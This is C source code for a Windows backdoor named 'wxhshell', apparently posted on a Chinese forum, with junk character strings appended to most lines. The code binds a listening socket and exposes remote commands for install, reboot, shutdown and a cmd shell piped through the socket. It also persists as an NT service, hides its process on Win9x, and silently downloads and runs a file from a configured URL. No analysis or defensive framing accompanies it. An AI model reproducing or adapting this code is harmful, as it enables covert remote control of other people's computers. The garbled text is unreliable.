  Je[wGF:%:$  
  // 帮助 cWP34;NNM  
  case '?': { :e`;["(,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~%B^`s  
    break; =M)+O%`*6  
  } u!];RHOp|  
  // 安装 1p<m>s=D=e  
  case 'i': { r%JJ5Al.S  
    if(Install()) hdp;/Qz&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S.aSNH<  
    else 34Q l7LQp[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KQj5o>} 6  
    break; *pCT34'--  
    } J84Q|E  
  // 卸载 +HQX]t:Y  
  case 'r': { lO9ML-8C1  
    if(Uninstall()) 5\V>Sj(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f+j\,LJ  
    else Tf) qd\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K 38e,O  
    break; )'KkO$^&  
    } \m~ ?mg"#  
  // 显示 wxhshell 所在路径 r'#5ncB  
  case 'p': { r1yz ?Y_P  
    char svExeFile[MAX_PATH]; M3c-/7  
    strcpy(svExeFile,"\n\r"); h.E8G^}@  
      strcat(svExeFile,ExeFile); ;z/Z(7<; ;  
        send(wsh,svExeFile,strlen(svExeFile),0); ;tP-#Xf  
    break; $+!/=8R)  
    } SZW`|ajH  
  // 重启 8<z+hWX=4  
  case 'b': { 1~Zmc1]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z;JyHC)  
    if(Boot(REBOOT)) UmcPpZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[|4Zn  
    else { o<`Mvw@Z  
    closesocket(wsh); u+a" '*  
    ExitThread(0); L}pMjyM  
    } K>hQls+  
    break; //n$#c _}u  
    } 9q5jqFQ  
  // 关机 X]d;x/2  
  case 'd': { A}v! vVg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *]NG@^y  
    if(Boot(SHUTDOWN)) )-%3;e<w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9&}$C]`  
    else { U,Ya^2h%  
    closesocket(wsh); U1}-]^\  
    ExitThread(0); +Kw:z?  
    } mZQW>A]iE  
    break; ,c<&)6FU]  
    } #$2 {l,>  
  // 获取shell >7i&(6L  
  case 's': { $ (/=Wn  
    CmdShell(wsh); _GS_R%b  
    closesocket(wsh); +e}v) N  
    ExitThread(0); 7ESSx"^B  
    break; F_.rLgGY  
  } CT,PQ  
  // 退出 GdHFgxI  
  case 'x': { t% Sgw%f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^S:S[0\,  
    CloseIt(wsh); P0VXHE1p  
    break; $`,10uw  
    } *;cvG?V  
  // 离开 :}'5'oVG  
  case 'q': { vqO d`_)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KT$Za  
    closesocket(wsh); R8LJC]6Bh  
    WSACleanup(); ovm109fTx  
    exit(1); fUj[E0yOF  
    break; dt&m YSZ}  
        } (7Su{tq  
  } P/i{_r  
  } ~(i#A>   
>-U'mkIH  
  // 提示信息 3L}eF g,d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3-x ;_  
} *\Z9=8yK  
  } s^f7w  
U )kl !  
  return; >T84NFdz+  
} Buc{dcL/  
NULew]:5  
// shell模块句柄 U'~M(9uv:  
int CmdShell(SOCKET sock) J5dwd,FQ  
{ s krdL.5  
STARTUPINFO si; %8Eu{3  
ZeroMemory(&si,sizeof(si)); @^P<(%p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (;\" K?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8Of.n7{  
PROCESS_INFORMATION ProcessInfo; vH1IVF"DS  
char cmdline[]="cmd"; WH|TdU$V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %Q,6sH#  
  return 0; 3.?G,%S5.$  
} >b\{y}[  
`Iwl\x[A  
// 自身启动模式 3yGo{uW  
int StartFromService(void) 7v'aw"~  
{ J9aqmQj('  
typedef struct 0'wchy>  
{ xB5qX7*.  
  DWORD ExitStatus; p>#sR4d>  
  DWORD PebBaseAddress; Q1kZ+b&  
  DWORD AffinityMask; (\8IgQ{  
  DWORD BasePriority; ^mH:8_=(.  
  ULONG UniqueProcessId; To/6=$wto  
  ULONG InheritedFromUniqueProcessId; x%h4'Sm  
}   PROCESS_BASIC_INFORMATION; W%ml/ 4  
1t+uMhy*y  
PROCNTQSIP NtQueryInformationProcess; L6d^e53AP  
K HyVI6N[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CFK{.{d]B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |P_voht  
^VI\:<\{  
  HANDLE             hProcess; ~8JOPzK  
  PROCESS_BASIC_INFORMATION pbi; 88x2Hf5I  
"L4ZE4|)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %CoO-1@C  
  if(NULL == hInst ) return 0; )FQxVT,.  
z}BuR*WSY{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K<wg-JgA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &/m0N\n?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t,NE`LC  
tJe5`L  
  if (!NtQueryInformationProcess) return 0; -HwqR Y s  
-%fc)y&$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +MR]h [  
  if(!hProcess) return 0; xig4H7V  
6;C2^J@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N)X 3pWC8  
o[I s$j  
  CloseHandle(hProcess); i/{dD"HwM  
h 8<s(WR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P*|qbY  
if(hProcess==NULL) return 0; h ?_@nQ!  
xiv8q/  
HMODULE hMod; Vp$<@Y  
char procName[255]; 4 :phq  
unsigned long cbNeeded; *epK17i=  
}!uwWBw`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ajCe&+  
Z-j?N{3&  
  CloseHandle(hProcess); B#]:1:Qn  
we0haK  
if(strstr(procName,"services")) return 1; // 以服务启动 _U|rTil  
Ddh  
  return 0; // 注册表启动 \J(kevX  
} _TwE ym.V  
|.OS7Gt?  
// 主模块 / z m+  
int StartWxhshell(LPSTR lpCmdLine) w-];!;%  
{ btOx\y}  
  SOCKET wsl; ;fYJ]5>  
BOOL val=TRUE; HQZJK82  
  int port=0; wZ5k|5KtW  
  struct sockaddr_in door; HCKocL/]h  
_BEDQb{"|  
  if(wscfg.ws_autoins) Install(); q*K[?  
ep6V2R  
port=atoi(lpCmdLine); 18^K!:Of  
i"0*)$ h W  
if(port<=0) port=wscfg.ws_port; lSfPOx;*  
9=J 3T66U  
  WSADATA data; rR4?*90vjj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?7#{#sj  
.unlr_eA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~ #jnkD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kXWC o6?  
  door.sin_family = AF_INET; ba tXj]:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >u\'k +=  
  door.sin_port = htons(port); \WqC^Di  
x"7PnN|~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B?db`/G9  
closesocket(wsl); aECpe'!m4  
return 1; $0cE iq?Hf  
} e= XC$Jv  
|hS^eK_  
  if(listen(wsl,2) == INVALID_SOCKET) { vA{DF{S 4  
closesocket(wsl); }tW1\@ =  
return 1; wE -y4V e  
} g)ofAG2  
  Wxhshell(wsl); SmS6B5j\R  
  WSACleanup(); l\"CHwN?Y  
?e%u[Q0  
return 0; l1.eAs5U  
\qDY0hIv t  
} Mr*CJgy  
SBaTbY0  
// 以NT服务方式启动 dUBf.2 ry  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 610u!_-  
{ )8taMC:H^  
DWORD   status = 0; b\^1P;!'W  
  DWORD   specificError = 0xfffffff; iL<FF N~{  
uF ;8B]"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M96Nt&P`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qYPgn _  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -UWyBM3c@  
  serviceStatus.dwWin32ExitCode     = 0; 7:zoF], s  
  serviceStatus.dwServiceSpecificExitCode = 0; &p+2Vz{  
  serviceStatus.dwCheckPoint       = 0; o4^#W;%w  
  serviceStatus.dwWaitHint       = 0; BC85#sbl  
I-Q(kWc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L<G6)'5W  
  if (hServiceStatusHandle==0) return; i)/#u+Y1P  
(S?qxW?  
status = GetLastError(); aI;fNy /K  
  if (status!=NO_ERROR) t]{, 7.S  
{ y#P _ }Kfo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E*yot[kj  
    serviceStatus.dwCheckPoint       = 0; 1wE`kbC<  
    serviceStatus.dwWaitHint       = 0; [B^V{nUBc  
    serviceStatus.dwWin32ExitCode     = status; &Z}}9dd  
    serviceStatus.dwServiceSpecificExitCode = specificError; pf#R]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Abpzf\F  
    return; ~(L&*/c  
  } =y^ g*9}_  
S/yBr`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +O1=Ao  
  serviceStatus.dwCheckPoint       = 0; S] 4RGWn  
  serviceStatus.dwWaitHint       = 0; r!^VCA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c],Zw  
} -aDBdZ;y  
a ~k*Gd(  
// 处理NT服务事件,比如:启动、停止 l xP!WP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {M23a _t\  
{ 'N&s$XB,  
switch(fdwControl) KhPDXY]!  
{ ;p"#ZS7  
case SERVICE_CONTROL_STOP: <^+&A7 Q-_  
  serviceStatus.dwWin32ExitCode = 0; V oyRB2t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M2A3]wd2a  
  serviceStatus.dwCheckPoint   = 0; oMxpdG3y-  
  serviceStatus.dwWaitHint     = 0; S,s") )A1  
  { Va/}|& 9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C@MJn)$4  
  } D7v.Xq|  
  return; }cIj1:  
case SERVICE_CONTROL_PAUSE: h  m(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $wcV~'fM  
  break; 9Z:pss@  
case SERVICE_CONTROL_CONTINUE: W,%qL6qV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zB"y^g  
  break; 3P*"$fH  
case SERVICE_CONTROL_INTERROGATE: Zf?jnDA  
  break; '1lz`CAB+  
}; /pp;3JPf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s ~i,R  
} 6a6N$v"  
?YM0VB,y  
// 标准应用程序主函数 nB |fw"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n* z;%'0  
{ xQ=L2pX  
++}#pl8e  
// 获取操作系统版本 ?o(Y\YJf  
OsIsNt=GetOsVer(); fM<g++X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MENrP5AL  
zENo2#{_N  
  // 从命令行安装 /j:-GJb*!u  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]r1Lr{7^S  
Y2>*' nU  
  // 下载执行文件 k")3R}mX  
if(wscfg.ws_downexe) { )1&,khd/u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SU4~x0  
  WinExec(wscfg.ws_filenam,SW_HIDE); AH ]L C6-  
} 8 =3$U+  
-<5H8P-  
if(!OsIsNt) { d`KW]HJw  
// 如果时win9x,隐藏进程并且设置为注册表启动 e)4L}a  
HideProc(); jAD{?/RB}  
StartWxhshell(lpCmdLine); HF%)ip+  
} 'L6+B1Op  
else PLWx'N-kqL  
  if(StartFromService()) <-|g>  
  // 以服务方式启动 j2:A@ a6  
  StartServiceCtrlDispatcher(DispatchTable); i^/D_L.  
else zQx7qx  
  // 普通方式启动 WtbOm  
  StartWxhshell(lpCmdLine); YifTC-Q;  
cs)z!  
return 0; pB79#4  
}
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只看该作者 1 发表于: 2006-10-10
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